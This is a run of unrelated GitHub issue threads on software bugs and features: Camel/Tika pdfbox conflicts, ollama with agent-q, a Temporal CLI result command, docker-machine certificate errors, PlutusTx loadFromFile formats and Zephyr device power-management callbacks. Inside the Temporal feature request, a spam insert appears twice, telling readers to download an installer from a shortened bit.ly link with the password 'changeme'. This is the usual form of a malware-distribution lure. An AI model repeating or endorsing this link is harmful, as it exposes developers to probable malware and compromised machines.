[camel-main] Tika pdf failure after upgrade to pdfBox in Camel, requires new quarkiverse-tika

Bug description
Camel upgraded pdfbox to 3.x (https://issues.apache.org/jira/browse/CAMEL-19796).
Pdfbox 3.x is not back compatible with 2.x, therefore quarkiverse-tika used by tika extension fails with the new pdfbox.
Apache tika is aware of the new version of pdfbox and the upgrade ticket is already in progress - see https://issues.apache.org/jira/browse/TIKA-3347
As soon as an new version of apache tika is released it has to be adopted by quarkiverse-tika and this new version has to be adopted by camel-quarkus.
I'm disabling tika tests using pdfbox until provblem is solved (on camel-main)

@ppalaga @jamesnetherton We have to wait for the new release of quarkiverse-tika supporting the new pdfbox. There is probably not much other options (the pdfbox involves i.e. fop, tika, pdf extensions, therefore keeping pdfbox on 2.x may be complicated. WDYT?

We have to wait for the new release quarkiverse-tika

Or we propose to revert the upgrade in Camel. I assume the same issue exists there if you try to bring the tika & pdf components together in the same app?

We have to wait for the new release quarkiverse-tika

Or we propose to revert the upgrade in Camel. I assume the same issue exists there if you try to bring the tika & pdf components together in the same app?

Error starts to happen  if tika parses pdf -> other functionality should work even with pdf extension together.
Reverting of the Camel change and pstponing it until quarkiverse-tika would supports 3.x would be an easy solution

There is no point in postponing the change in Camel. Not for special reasons, but just because we cannot base the core development on what Quarkus/Quarkiverse does. It's dangerous and not healthy.

@oscerd I'll add some tests covering pdf into tika component, because I can not see pf file there - https://github.com/apache/camel/tree/main/components/camel-tika/src/test/resources
If some troubles emerges, we can discuss what to do next.
Does it sounds ok?

Yes, it is.

Also if you check in the SBOM for camel, pdfbox is used explicitly only in camel-pdf and camel-fop.
Camel-tika is using only:
    {
      "ref" : "pkg:maven/org.apache.camel/camel-tika@4.1.0-SNAPSHOT?type=jar",
      "dependsOn" : [
        "pkg:maven/org.apache.camel/camel-support@4.1.0-SNAPSHOT?type=jar",
        "pkg:maven/org.apache.tika/tika-core@2.8.0?type=jar",
        "pkg:maven/org.apache.tika/tika-parser-html-commons@2.8.0?type=jar",
        "pkg:maven/org.apache.tika/tika-parser-text-module@2.8.0?type=jar"
      ]
    }

both the tika commons and tika text modules are not using pdfbox. It's only something related to quarkiverse extension : https://github.com/quarkiverse/quarkus-tika/blob/main/pom.xml#L63

I missed that fact, though having pdf part of the tika test coverage make sense nevertheless. (but with lower priority)

@oscerd  I tried to create a test which parses pdf (using plain Camel). For that purpose I have to add:
<dependency>
    <groupId>org.apache.tika</groupId>
    <artifactId>tika-parser-pdf-module</artifactId>
    <version>2.9.0</version>
</dependency>

to get PdfParser for Tika. This dependency brings PdfBox 2.x (see https://mvnrepository.com/artifact/org.apache.tika/tika-parser-pdf-module/2.9.0)
Therefore user which would like to use pdf parser for Tika might had a conflict in dependencies in case i.e. camel-pdf is also part of the project. The failure is caused by the no-compatibility between pdfbox 2.x and 3.x.
java.lang.NoSuchMethodError: 'org.apache.pdfbox.pdmodel.PDDocument org.apache.pdfbox.pdmodel.PDDocument.load(java.io.InputStream, java.lang.String, org.apache.pdfbox.io.MemoryUsageSetting)'
	at org.apache.tika.parser.pdf.PDFParser.getPDDocument(PDFParser.java:421)

I can imagine that this use case does not make sense - parsing pdf by camel-tika and depend on camel-pdf.
In case that useage of camel-tika (for pdf parsing) together with camel-pdf  is not supported, forcing similar restriction for camel-quarkus might solve the problem. (Currently we are testing tika extension for parsing pdf files)

To me this is really a corner case. I understand the point, but it's a tika problem.

I agree, so the right way for camel-quarkus is not testing pdf parsing with Tika (as this is the cornec case in plain Camel, which might not work in some cases)

Yes, once they align we could re-use tika for parsing PDF


HttpRequestData.PropertyBag should throw if value is null.

This is most likely a programming error.

This is under user control, no-one has asked for this.


kumocloud server data is stale

after implementing #148 kumocloud server data seems to get stale, updating after phone app is refreshed but not updating on it's own.

going into a zone page seems to refresh the kumocloud data to match the phone app.  I saw one case in which phone app was changed from dry mode to off mode and then exited out of zone menu.  Kumocloud continued to report current state as dry mode for a day, then when I went back into the zone menu the state of kumocloud immediately updated to off mode.


Use the same IAM role for amd64 and arm64 nodes.

We don't want separate IAM roles for each node group. The only difference between them is the machine architecture; we want to treat them identically in terms of IAM permissions.

Dunno how smooth this is gonna to be to roll out; if it's rough in integration then I'll stick some environment guards in afterwards and figure out a better way to roll it out to prod.

Diff looks much less scary after sprinkling some moved.


brush-x doesn't work on candlestick charts

G2 Version: 4.0.7
Platform: Google Chrome
CodePen Link: https://g2.antv.vision/zh/examples/candlestick/candlestick#basic (add 'brush-x' interaction and try to zoom

brush interactions doesn't work with candlestick charts. Rendering them completely useless for larger datasets where you need to zoom in :(

Nevermind needed to use a DataView to make it work.
This example works with brush-x for reference:
https://g2.antv.vision/zh/examples/candlestick/candlestick#k-and-area


How to use ollama rather than onlin API?

Hello, I tried to change self.client fonction on agent-q/core/agent/base.py as:
             self.client = openai.OpenAI(             base_url="http://localhost:11434",             api_key="ollama",         )
And the model name into qwen2.5:14b
Whene I enter a command I got:
`Executing command test
Current State: agentq_base
Agent: agentq
Current Thought:
Plan: none
Completed Tasks: none
An error occurred: RetryError[<Future at 0x73858ddb74d0 state=finished raised NotFoundError>]
Retrying in 2 seconds...
An error occurred: RetryError[<Future at 0x73858ddc1910 state=finished raised NotFoundError>]
Retrying in 2 seconds...
An error occurred: RetryError[<Future at 0x73858d3039e0 state=finished raised NotFoundError>]
Max retries reached. Unable to complete the action.
Error executing the command test: RetryError[<Future at 0x73858d3039e0 state=finished raised NotFoundError>]`
How can I solve this?

It seems like you might be missing /v1 at the end of your URL.  Try changing it to http://localhost:11434/v1 to make sure you're accessing the model correctly.
To check if your model is running, open Windows Powershell and type ollama ps. This will show you a list of active models.
In my case, even after adding /v1 to the end of your URL, I'm still encountering the RetryError with a ValidationError. This suggests there might be something else going on.
Error message:
An error occurred: RetryError[<Future at 0x293a74c3d40 state=finished raised ValidationError>]
Retrying in 2 seconds...
An error occurred: RetryError[<Future at 0x293a74d0f20 state=finished raised ValidationError>]
Retrying in 2 seconds...

i am also getting same error with Ollama. Please suggest if there is any support available for ollama to work with this agent-q

I'm getting the same error when trying to use groq

Getting the validation error same as the one above when trying with Ollama.

I used traceback, which seems to be the problem that the model(Llama3.1) reply does not correspond to the data related to instructor and pydantic.


Homepage not refreshed when navigating to Home

If you are on any of the other pages and then navigate to home, the claim searches aren't re-run.
Kind of related: https://github.com/lbryio/lbry-desktop/issues/4876

Dupe of https://github.com/lbryio/lbry-desktop/issues/5082


[Feature Request] Add workflow result, workflow update result, and workflow update describe

Is your feature request related to a problem? Please describe.

In https://github.com/temporalio/cli/issues/597 we are adding workflow update start. This will output the updateID.
Users need a way to fetch the result (or failure info) given that ID, analogous to what they do in SDKs with update handles.
They could do so with workflow execute (advanced users of the platform will know that this latches on to an existing update if it exists)
However, what we would like is to create a consistent API for temporal workflow and temporal workflow update for fetching result/failure/status info.
Both temporal workflow and temporal workflow update (with issue 597) support start and execute subcommands.
temporal workflow additionally supports describe which returns a lot of metadata, including the workflow result.

Describe the solution you'd like

We add temporal workflow update result.

This blocks until the update succeeds or errors/fails.
The shell process exit code shall be 0 iff the update succeeded. (But output goes to stdout even when shell exit status non-zero)
Under --output=text this shall return either a JSON representation of the result or base64-encoded data. (If returning JSON and the result is a string then that string is quoted.)
Under --output=json, if the update succeeded, this shall return a JSON document containing a key named result. TBD on other keys.
Under --output=json, if the update failed, this shall return a JSON document containing keys describing the error (TBD, but message, error code, details/cause etc). It shall not contain a key named result.

We add temporal workflow update describe.

This does not block (at least, not by default).
Details need designing, but in spirit, the idea is that if the update has completed then this contains the information from update result and potentially more. One design question is: with --output=json, should the entire update result document be included behind a key named result? Consistency with workflow result will probably be an important consideration.
The shell process exit code shall be 0 unless the required gRPC call to the server failed, i.e. regardless of update success.

We add temporal workflow result

This blocks until the workflow run has finished (result, fail, terminate, cancel, CAN)
The shell process exit code shall be 0 iff the workflow succeeded. (But output goes to stdout even when shell exit status non-zero). (TBD: CAN is non-zero?)
The output is analogous to update result above: a small JSON document or printed output describing the workflow result/failure.
The motiovation for adding this is that it will give consistency with temporal update, and will give CLI users a way to obtain their workflow result/failure info in a way that is both more natural (the word is "result" as opposed to "describe") and more convenient (when printed out, especially in JSON, the result is not hidden away with so much other metadata).

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."


[Bug]: Smart contract extending LSP7DigitalAsset is not recognized as a ERC725Y interface in 0.10.3

Describe the issue:
I recently upgraded from 0.9.0 to 0.10.3 and my custom smart contract that is extending the LSP7DigitalAsset smart contract is no longer recognized as an ERC725Y contract.
Tested using this tool: https://erc725-inspect.lukso.tech/getData
Environment
Compiler version: 0.8.8
Code example to reproduce the issue:
contract TestContract is LSP7DigitalAsset { ... }

@visse509 the issue probably comes from the erc725-inspect website, which does not recognise the new ERC165 interface IDs of ERC725Y.

The version 0.9.0 of the lsp-smart-contracts --> uses 4.2.0 version of @erc725/smart-contracts: https://github.com/lukso-network/lsp-smart-contracts/blob/e1657de39dae3e31e764ef24ea3f5bd071e092f1/package.json#L88C34-L88C39
The version 0.10.3 of the lsp-smart-contracts --> uses 5.1.0 version of @erc725/smart-contracts: https://github.com/lukso-network/lsp-smart-contracts/blob/8f0cfb2c573c44702d3155375b2d935b043416b3/package.json#L101

There was a breaking change in v5.0.0 of @erc725/smart-contracts, where we removed function overloading, which changed the interface ID of ERC725X and Y: https://github.com/ERC725Alliance/ERC725/releases/tag/v5.0.0
I suggest to re-open this issue in the erc725-inspect Github repository: https://github.com/lukso-network/tools-erc725-inspect/issues

Closing as not related to this repository


===== CRASH =====

version=2.1.0 (Tue Nov 13 18:22:02 2018 +0100) on "windows_x64"
ExceptionCode=-1073741819, ExceptionFlags=0, ExceptionAddress=00007FFAFCACF4F6
Dumping native stack trace for thread efc
Stack dump aborted because InitialRegisterCheck failed.

Hey, did you install the C++ runtime files?
If the answer is "yes" then I'm not sure what the problem might be. Remember - this is just an early alpha so stuff will get fixed eventually.

@Norbert515 Hey, C++ runtime is installed. I understand alpha stage, lots of work to be done. Keep up with awesome work. I'll be watching this repo!


Negative offsets

This allows python-style negative indices to be passed to --zsubset --csubset --tsubset

@manics merge manics#5 to fix get_image_size

Thanks @simleo !

This is currently in use on condensation?

It was in use, excluding the last commit.

Shall we merge the last commit on your review then? And if so, ETA for tagging?

I'll review the results of the feature calculation first.

The feature calculation is recorded in https://github.com/IDR/idr-metadata/pull/279

Propose 0.3.0?

That's as good as any.

Pushed.


The firewall public IP address

[Enter feedback here]
Could you please explain more from In this sentence:
You should add these ranges to an allow list:
The firewall public IP address
What is the firewall public IP address related to AKS?
Where to find it?
Is it the same as an inbound IP for AKS?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 660320d4-fad5-3307-e29f-5f4cfad4b7f7
Version Independent ID: 85ac2e8b-633f-6e1a-e642-0645ca92e129
Content: API server authorized IP ranges in Azure Kubernetes Service (AKS) - Azure Kubernetes Service
Content Source: articles/aks/api-server-authorized-ip-ranges.md
Service: container-service
GitHub Login: @mlearned
Microsoft Alias: mlearned

@mchudinov - Thanks for brining this to our attention. We will investigate it further and update you shortly.

@mchudinov - Thanks for brining this to our attention. We will investigate it further and update you shortly.

This assumes you have configured a firewall such as Azure Firewall  https://docs.microsoft.com/en-us/azure/firewall/protect-azure-kubernetes-service  , so it's only if you have that configured.
"This assumes your environment has a Firewall with the respective network, and you have added the Firewall IPs to authorized ranges."
The article can be worded a little better to clear this up.

This assumes you have configured a firewall such as Azure Firewall  https://docs.microsoft.com/en-us/azure/firewall/protect-azure-kubernetes-service  , so it's only if you have that configured.
"This assumes your environment has a Firewall with the respective network, and you have added the Firewall IPs to authorized ranges."
The article can be worded a little better to clear this up.

@mlearned  - Thank you for providing your insights.
@- I hope @mlearned has answered your question.
At this moment, We have added this in our backlog and will get it ASAP. We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.

@mlearned  - Thank you for providing your insights.
@- I hope @mlearned has answered your question.
At this moment, We have added this in our backlog and will get it ASAP. We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


Removed "Preview" from header of SAP data reference

articles/sentinel/sap/sap-solution-log-reference.md

Learn Build status updates of commit e12ae31:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

articles/sentinel/sap/sap-solution-log-reference.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

#sign-off

#sign-off


x509 and openstack

trying to run machine-create with openstack driver but keep getting this:
ERRO[0000] Error creating machine: Get https://horizon.corp.foo.com/: x509: certificate signed by unknown authority

This is probably in the gophercloud lib not allowing self-signed certs.
/cc @smashwilson @ggiamarchi

Yes, that's exactly it. Fortunately, with rackspace/gophercloud#365 and rackspace/gophercloud#367 merged, Gophercloud master will allow us to override the http.Client used for requests throughout the library, which will let us customize the TLS configuration, among other things.
I'm thinking of adding an --openstack-untrusted option to the OpenStack driver. Is that reasonable, or is there a more global option I can hook? It seems to me that we would ultimately want the ability to set custom TLS credentials (CA, cert, key) as well, which adds quite a few options to a driver that already has quite a few.

Let's start with the option to get it working (perhaps --openstack-insecure to match golang).  We will probably want to have a global option eventually as I'm sure this won't be the only driver that will need custom TLS settings.

:+1: Sounds good to me. I'll start a PR later today.

Nuts, a few other things came up - I doubt I'll get to this. I should have a fix in soon.

Ok thanks!
On Wed, Feb 18, 2015 at 12:02 PM, Ash Wilson<EMAIL_ADDRESS>wrote:

Nuts, a few other things came up - I doubt I'll get to this. I should have
a fix in soon.
—
Reply to this email directly or view it on GitHub
https://github.com/docker/machine/issues/549#issuecomment-74936925.

@ehazlett @smashwilson I don't actually think the cert is self-signed in my case. Look here:
Got any ideas?

@razic: Interesting. I wonder if they aren't including intermediate CA certificates? Sometimes, you can hunt those down and trust them yourself to validate the connection...

Do you have to place the intermediary certificates in the same directory as the main one?

/cc @smashwilson Also do you have a slack channel (preferably) or IRC?

@razic: You'd need to install it as a trusted certificate in your operating system. From the screenshot I'm guessing that you're on a Mac, so these instructions might be what you need.

Also do you have a slack channel (preferably) or IRC?

I do hang out on Freenode very occasionally, and we have an internal Slack for my team at Rackspace, but I don't believe we have a public one. Also I'm personally about to be mostly unavailable until next week, so I'm probably not the best person to contact in any case. Did you just need help with SSL?

@smashwilson i added the cert and gave it all permessions but now i'm getting this:
ERRO[0000] Error creating machine: Post https://[OMITTED]:5000/v2.0/tokens: x509: cannot validate certificate for [OMITTED] because it doesn't contain any IP SANs

make sure you are using the hostname and not IP.
On Thu, Feb 19, 2015 at 1:29 PM, Zachary Adam Kaplan <
<EMAIL_ADDRESS>wrote:

@smashwilson https://github.com/smashwilson i added the cert and gave
it all permessions but now i'm getting this:
ERRO[0000] Error creating machine: Post https://[OMITTED]:5000/v2.0/tokens: x509: cannot validate certificate for [OMITTED] because it doesn't contain any IP SANs
—
Reply to this email directly or view it on GitHub
https://github.com/docker/machine/issues/549#issuecomment-75139999.

I tried both.
On Fri, Feb 20, 2015 at 3:08 PM, Evan Hazlett<EMAIL_ADDRESS>wrote:

make sure you are using the hostname and not IP.
On Thu, Feb 19, 2015 at 1:29 PM, Zachary Adam Kaplan <
<EMAIL_ADDRESS>wrote:

@smashwilson https://github.com/smashwilson i added the cert and gave
it all permessions but now i'm getting this:
ERRO[0000] Error creating machine: Post https://[OMITTED]:5000/v2.0/tokens:
x509: cannot validate certificate for [OMITTED] because it doesn't contain
any IP SANs
—
Reply to this email directly or view it on GitHub
https://github.com/docker/machine/issues/549#issuecomment-75139999.

—
Reply to this email directly or view it on GitHub
https://github.com/docker/machine/issues/549#issuecomment-75336375.

@razic and you got the IP SANs error with the hostname?


PlutusTx.loadFromFile can't load validator from file

Summary
I have the following code:
import Plutus.Script.Utils.V2.Typed.Scripts.Validators (UntypedValidator)
import PlutusTx qualified

compiledMyScript :: PlutusTx.CompiledCode (MyScriptParams -> UntypedValidator)
compiledMyScript = $$(PlutusTx.loadFromFile "data/script.txt")

And this is the contents of the data/script.txt file (ie. the validator's CBOR encoded in hex):
4e4d01000033222220051200120011

When I try and use a validator loaded from file it fails with the following type of error:
Exception: Failed to deserialise our own program! This is a bug, please report it. Caused by: TooMuchSpace (0x000000010124969a,S {currPtr = 0x00000001012419d7, usedBits = 6})

I've also tried placing PlutusCore to the file:
(program
  2.0.0
  (lam i_0 [ [ (builtin addInteger) (con integer 16) ] i_0 ])
)

But it also failed with the same error.
Both of the files above were textual but I've also tried binary representation of the PlutusCore posted above, the following are the bits in textual form, but I've provided the binary data in a binary file:
00000010 00000000 00000000 00100011
00110111 00000000 10010000 00010000
00000000 00001001

It failed with a different error:
Exception: Failed to deserialise our own program! This is a bug, please report it. Caused by: BadEncoding (0x000000010b5aa2fa,S {currPtr = 0x000000010b5aa2f3, usedBits = 7}) "usedBits /= 0"

Steps to reproduce the behavior
Described above - trying to find the correct use for the function PlutusTx.loadFromFile. I haven't managed to find correct format that the function is expecting.
Actual Result
Results with a runtime error.
Expected Result
I'm expecting such compiled code would behave the same as I would load a classical Haskell written PlutusTx code.
I'm curious what format does it expect and in case it's something different how could I get that from the CBOR hex, or if there's other function that would create CompiledCode from CBOR hex.
Describe the approach you would take to fix this
No response
System info
Plutus revision: f003b096dbc5abca9dbb74fbff847914dd39fa6b

OK, so this is what the docs say:

   {-# OPTIONS_GHC -fplugin-opt PlutusTx.Plugin:dump-uplc #-}

This will dump the output to a temporary file with a name based on the module name.
The filename will be printed to the console when compiling the source file.
You can then move it to a more permanent location.
It can be read in conveniently with loadFromFile as an alternative to compile.

But I thought I'd try generating the file directly using our executable. First I put
(program
  2.0.0
  (lam i_0 [ [ (builtin addInteger) (con integer 16) ] i_0 ])
)

into a file named addInteger.uplc. Then I converted the contents of the file to flat-namedDeBruijn  and put the result into a file:
cabal run uplc convert -- -i addInteger16.uplc --if textual -o addInteger16.flat-namedDeBruijn --of flat-namedDeBruijn

Then I checked that everything's OK by evaluating the file:
cabal run uplc evaluate -- -i addInteger16.flat-namedDeBruijn --if flat-namedDeBruijn

which gave me
(lam i_0_0 [ [ (builtin addInteger) (con integer 16) ] i_0_0 ])

i.e. the expected program.
But when I tried to use loadFromFile on addInteger16.flat-namedDeBruijn:
compiledMyScript :: CompiledCode (Integer -> Integer)
compiledMyScript = $$(<absolute_path>/addInteger16.flat-namedDeBruijn")

it gave me a decoding error:
>>> getPlc compiledMyScript
*** Exception: Failed to deserialise our own program! This is a bug, please report it. Caused by: BadEncoding (0x00007f84a40040e7,S {currPtr = 0x00007f84a40040d3, usedBits = 7}) "Failed to decode a universe"

(if I rerun the command, I get a different currPtr and what the hex that follows BadEncoding BTW, but the same failure overall)
So I looked into the source code of PlutusTx.Plugin:
    uplcP <- flip runReaderT plcOpts $ PLC.compileProgram plcP
    dbP <- liftExcept $ traverseOf UPLC.progTerm UPLC.deBruijnTerm uplcP
    when (opts ^. posDumpUPlc) . liftIO $
        dumpFlat
            (UPLC.UnrestrictedProgram $ void dbP)
            "untyped PLC program"
            (moduleName ++ ".uplc.flat")

The format is indeed flat-namedDeBruijn, however that sneaky void in there replaces all annotations with (), meaning we can no longer use getPlc, since the latter assumes that the program is annotated with SrcSpans.
So I performed deserialization in a bit more manual manner:
SerializedCode bs _ _ = compiledMyScript

deserialized :: UPLC.Program UPLC.NamedDeBruijn UPLC.DefaultUni UPLC.DefaultFun ()
Right (UnrestrictedProgram deserialized) = unflat (BSL.fromStrict bs)

-- >>> pretty deserialized
-- (program 2.0.0 (lam i_0 [ [ (builtin addInteger) (con integer 16) ] i_0 ]))

Hence the answer to your question:

I'm curious what format does it expect and in case it's something different how could I get that from the CBOR hex, or if there's other function that would create CompiledCode from CBOR hex.

is:

it's flat, not CBOR
it's a UPLC program
with names being NamedDeBruijn
and annotations being ()

BTW, I think there's some confusion with versions. V2 is a ledger version, not a Plutus version (the latest version of Plutus is 1.1.0). Unless I'm very wrong about that.
Hope this helps.
@michaelpj please review my answer for any misinformation.

@michaelpj please review my comment for any misinformation.

@michaelpj a gentle nag.
Also, does dump-uplc have to erase annotations? What if someone wants to, say, dump the UPLC of a script, then load it later and use it in our debugger?

So I performed deserialization in a bit more manual manner:

@effectfully How did you get the compiledMyScript then since it was giving you error, too?
 I was trying to use multiple command line tools to convert between multiple formats and get to PlutusTx.loadFromFile success, but also unsuccessfully.
I've also tried these 2 other approaches.
Approach 1
I've also tried using the textEnvelope, when I export my validator using writeFileTextEnvelope and then try to import it using the following code:
import Ledger qualified
import Prelude qualified as P
import Plutus.V2.Ledger.Api qualified as V2
import Data.ByteString.Lazy qualified as LBS
import Data.ByteString.Short qualified as SBS
import Cardano.Api (AsType (AsPlutusScript, AsPlutusScriptV2), readFileTextEnvelope)
import Cardano.Api.Shelley (PlutusScript (..))
import Codec.Serialise (deserialise)

readPlutusValidator :: P.FilePath -> P.IO Ledger.Validator
readPlutusValidator = P.fmap Ledger.Validator . readPlutusScript

readPlutusScript :: P.FilePath -> P.IO V2.Script
readPlutusScript = P.fmap deserialise . readPlutusScriptByteString

readPlutusScriptByteString :: P.FilePath -> P.IO LBS.ByteString
readPlutusScriptByteString path = do
  eith <- readFileTextEnvelope (AsPlutusScript AsPlutusScriptV2) path
  case eith of
    Left err -> fail $ P.show err
    Right (PlutusScriptSerialised scriptSBS) -> P.pure . LBS.fromStrict $ SBS.fromShort scriptSBS

When I run the readPlutusValidator from the snippet on a text envelope like this:
{
  "type": "PlutusScriptV2",
  "description": "",
  "cborHex": "4e4d01000033222220051200120011"
}

I get the BadEncoding error
Exception: Failed to deserialise our own program! This is a bug, please report it. Caused by: BadEncoding (0x00000001043a530f,S {currPtr = 0x00000001043a457c, usedBits = 3}) "usedBits /= 0"

Approach 2
Next, I've tried yet another approach:
import Data.ByteString.Lazy qualified as LBS
import Data.ByteString.Short qualified as SBS
import Cardano.Binary qualified as CBOR
import Ledger qualified
import Codec.Serialise (deserialise)
import Data.ByteString.Base16 qualified as Base16
import Data.Text.Encoding qualified as Text

cborToScript :: ByteString -> Either CBOR.DecoderError Ledger.Script
cborToScript x = deserialise . LBS.fromStrict . SBS.fromShort <$> CBOR.decodeFull' x

cborToValidator :: Text -> Either P.String Ledger.Validator
cborToValidator a =
  either Left Right (Base16.decode $ Text.encodeUtf8 a)
    >>= \b ->
      either (Left . P.show) Right (cborToScript b)
        >>= pure . Ledger.Validator

and then call the:
cborToValidator "4e4d01000033222220051200120011"

I once again get the following BadEncoding error:
Exception: Failed to deserialise our own program! This is a bug, please report it. Caused by: BadEncoding (0x00000001018c530f,S {currPtr = 0x00000001018c457c, usedBits = 3}) "usedBits /= 0"

Wrap-up
I don't currently have a workaround 🤔

How did you get the compiledMyScript then since it was giving you error, too?

It was giving me an error when I attempted to deserialize it incorrectly. When I deserialized it in the right format, it worked out.

I've also tried these 2 other approaches.

Both use CBOR as far as I can tell and I wrote earlier that loadFromScript assumes a flat-based encoding, which is very much not CBOR.
I've created a PR with the changes that I described in my previous message: #5364. Please take a look.

Yeah you're right, that's irrelevant to the issue title. I was just trying to load a validator other way.

Ah, sorry, I misread. You should be able to use these two functions to serialize and deserialize a UPLC program.

@effectfully Thank you very much for your effort 👏
I've managed to make it work with your help.

Great!
I'm keeping the issue open, because I believe the situation with annotations being required to be sometimes SrcSpans  and sometimes () is confusing and we should look into it as I'm sure more people will bump into this issue if we don't mitigate it somehow.
@michaelpj please take a look at this thread once you're back from vacationing.

@michaelpj now that you're back, could you please take a look at the discussion here? We've sorted out the specific issue, however I feel like our current alignment of loadFromFile is confusing and we're going to get more reports like this one if we don't improve it somehow.

@michaelpj now that you're back, could you please take a look at the discussion here? We've sorted out the specific issue, however I feel like our current alignment of loadFromFile is confusing and we're going to get more reports like this one if we don't improve it somehow.

@michaelpj gentle nag.

@michaelpj now that you're back, could you please take a look at the discussion here? We've sorted out the specific issue, however I feel like our current alignment of loadFromFile is confusing and we're going to get more reports like this one if we don't improve it somehow.

@michaelpj a mildly less gentle nag.

I tried applying my parameter to the obtained deserialised UPLC via finalUplc = fromJust $ UPLC.applyProgram deserialised (PlutusTx.liftProgram plcVersion100 myAssetClass) but when I serialise my finalUplc using serialiseUPLC $ toNameless finalUplc, I get different script hash...


pm: device: simplify callback

This RFC PR is an initial attempt to simplify the current device PM callback. Even though the changeset is large (all drivers have been ported), the behavior should be the same as before. This means that no issues are being fixed (there are a few). As a result of these changes, adding support for device PM should be less cumbersome.
The list of changes can be summarized to:

device PM states are now represented using an enum (enum pm_device_state)
The device callback arguments are removed (pm_device_cb cb, void *arg)
Local power states are removed, device PM holds the device state
The "ctrl_command" is gone (uint32_t ctrl_command), devices are just called to set a state, so they get the device instance and the target state: static int my_device_pm_control(const struct device *dev, enum pm_device_state state).

Some further enhancements that should/must be done:

Callback may receive a struct, so that it doesn't have to be changed if extra arguments are needed in the future.
The callback may operate using "actions" and not "states", e.g. PM_DEVICE_ACTION_SUSPEND, which would lead to the device in PM_DEVICE_STATE_SUSPENDED. States such as PM_DEVICE_STATE_SUSPENDING or PM_DEVICE_STATE_RESUMING do not represent actual callback actions.
Callback workflow needs to be clarified. Right now there are a lot of drivers checking if the requested state is != to the current state to perform an action. This can likely be simplified.
Callback return codes need to be specified, it is not clear/documented now.
Some states need to be clarified, e.g. PM_DEVICE_STATE_LOW_POWER for device runtime PM?

don't like removing the pm_device_cb without an alternative. Removing it without a replacement means that there we'll not have a way to do async operation.
Well ... unless the driver returns a transition state like RESUMING or SUSPENDING and then the runtime API checks it, but then the runtime will need to somehow
polling this value because the driver is not able to notify when the transition finishes.

If the pm_control function could be asynchronous, it should probably return -EAGAIN and the driver would later notify the device PM subsystem, e.g. using a new device PM API call. I'm not sure what alternative should be provided, since the current callback doesn't do anything related to asynchronous behavior. In any case, IMO this needs to be removed from every driver:
       if (cb) {
               cb(dev, ret, state, arg);
       }

It's not clearly documented, ugly and even in some cases it was being misused for non-PM stuff (see samples/sensor/fdc2x1x/src/main.c).

don't like removing the pm_device_cb without an alternative. Removing it without a replacement means that there we'll not have a way to do async operation.
Well ... unless the driver returns a transition state like RESUMING or SUSPENDING and then the runtime API checks it, but then the runtime will need to somehow
polling this value because the driver is not able to notify when the transition finishes.

If the pm_control function could be asynchronous, it should probably return -EAGAIN and the driver would later notify the device PM subsystem, e.g. using a new device PM API call. I'm not sure what alternative should be provided, since the current callback doesn't do anything related to asynchronous behavior. In any case, IMO this needs to be removed from every driver:
       if (cb) {
               cb(dev, ret, state, arg);
       }

It's not clearly documented, doesn't solve async problem, is ugly and even in some cases it was being misused for non-PM stuff (see samples/sensor/fdc2x1x/src/main.c).

I'm not defending the current API.  What I'm saying is to have something before doing it. And the async path can be done with this callback. It is a matter of the device do call it later. The runtime device API waits this callback to broadcast the conditional variable. What I mean is, a driver can return from this function while the device is initialized and later call this callback. This should work with the runtime API.
Again, I don't love i. This API is confuse, the names are bad, blah blah blah. But I think we should not remove it without a proper replacement.

I'm not defending the current API.  What I'm saying is to have something before doing it. And the async path can be done with this callback. It is a matter of the device do call it later. The runtime device API waits this callback to broadcast the conditional variable. What I mean is, a driver can return from this function while the device is initialized and later call this callback. This should work with the runtime API.

It's true that a driver can store the callback and arg for later call (again, a bad design pattern). In this case, the device would be left in "suspending state" when using device runtime PM until it "notifies back". However, device PM doesn't support such behavior as far as I know, meaning async behavior can't be safely implemented as of today.

Again, I don't love i. This API is confuse, the names are bad, blah blah blah. But I think we should not remove it without a proper replacement.

These changes should not be incompatible with a future proper solution. I think it's better to start with a simple solution that works other than patching behaviors that are actually not used or not documented and that will likely require core changes to make them useful.

I'm not defending the current API.  What I'm saying is to have something before doing it. And the async path can be done with this callback. It is a matter of the device do call it later. The runtime device API waits this callback to broadcast the conditional variable. What I mean is, a driver can return from this function while the device is initialized and later call this callback. This should work with the runtime API.

It's true that a driver can store the callback and arg for later call (again, a bad design pattern). In this case, the device would be left in "suspending state" when using device runtime PM until it "notifies back". However, device PM doesn't support such behavior as far as I know, meaning async behavior can't be safely implemented as of today.

Agreed, no doubts about bad design. By device PM you are referring when the system suspend or resume a device ? or is it something else ?

Again, I don't love i. This API is confuse, the names are bad, blah blah blah. But I think we should not remove it without a proper replacement.

These changes should not be incompatible with a future proper solution. I think it's better to start with a simple solution that works other than patching behaviors that are actually not used or not documented and that will likely require core changes to make them useful.

They are not incompatible, my problem is that we don't have any plan when this functionality will come in and how it will be. Anyway, I won't block this change because of this, but I really don't like changes that breaks the functionality without some replacement.

@gmarull would you mind to create a new pr with the commit changing the devices states to enum type ? We can get that one merged while we continue to discuss this one.

@gmarull would you mind to create a new pr with the commit changing the devices states to enum type ? We can get that one merged while we continue to discuss this one.

While the commits are atomic, I'd prefer to discuss all the changes first and merge them all together. I think it's better to merge the final callback instead of going through multiple refactors.
I'd feel more comfortable to merge this sort of changes early to avoid the situation of 2.6, when non-trivial changes were merged in the last minute.
The point that I'd like to discuss in particular, since it implies a callback change, is:
The callback may operate using "actions" and not "states", e.g. PM_DEVICE_ACTION_SUSPEND,
which would lead to the device in PM_DEVICE_STATE_SUSPENDED. States such as
PM_DEVICE_STATE_SUSPENDING or PM_DEVICE_STATE_RESUMING do not represent actual
callback actions.

@ceolin @nashif The rationale behind pm actions:
If we take Linux as a reference, all PM operations are held by struct dev_pm_ops:
struct dev_pm_ops {
	...
	int (*prepare)(struct device *dev);
	void (*complete)(struct device *dev);
	int (*suspend)(struct device *dev);
	int (*resume)(struct device *dev);
        ...
};

ref https://elixir.bootlin.com/linux/latest/source/include/linux/pm.h#L277
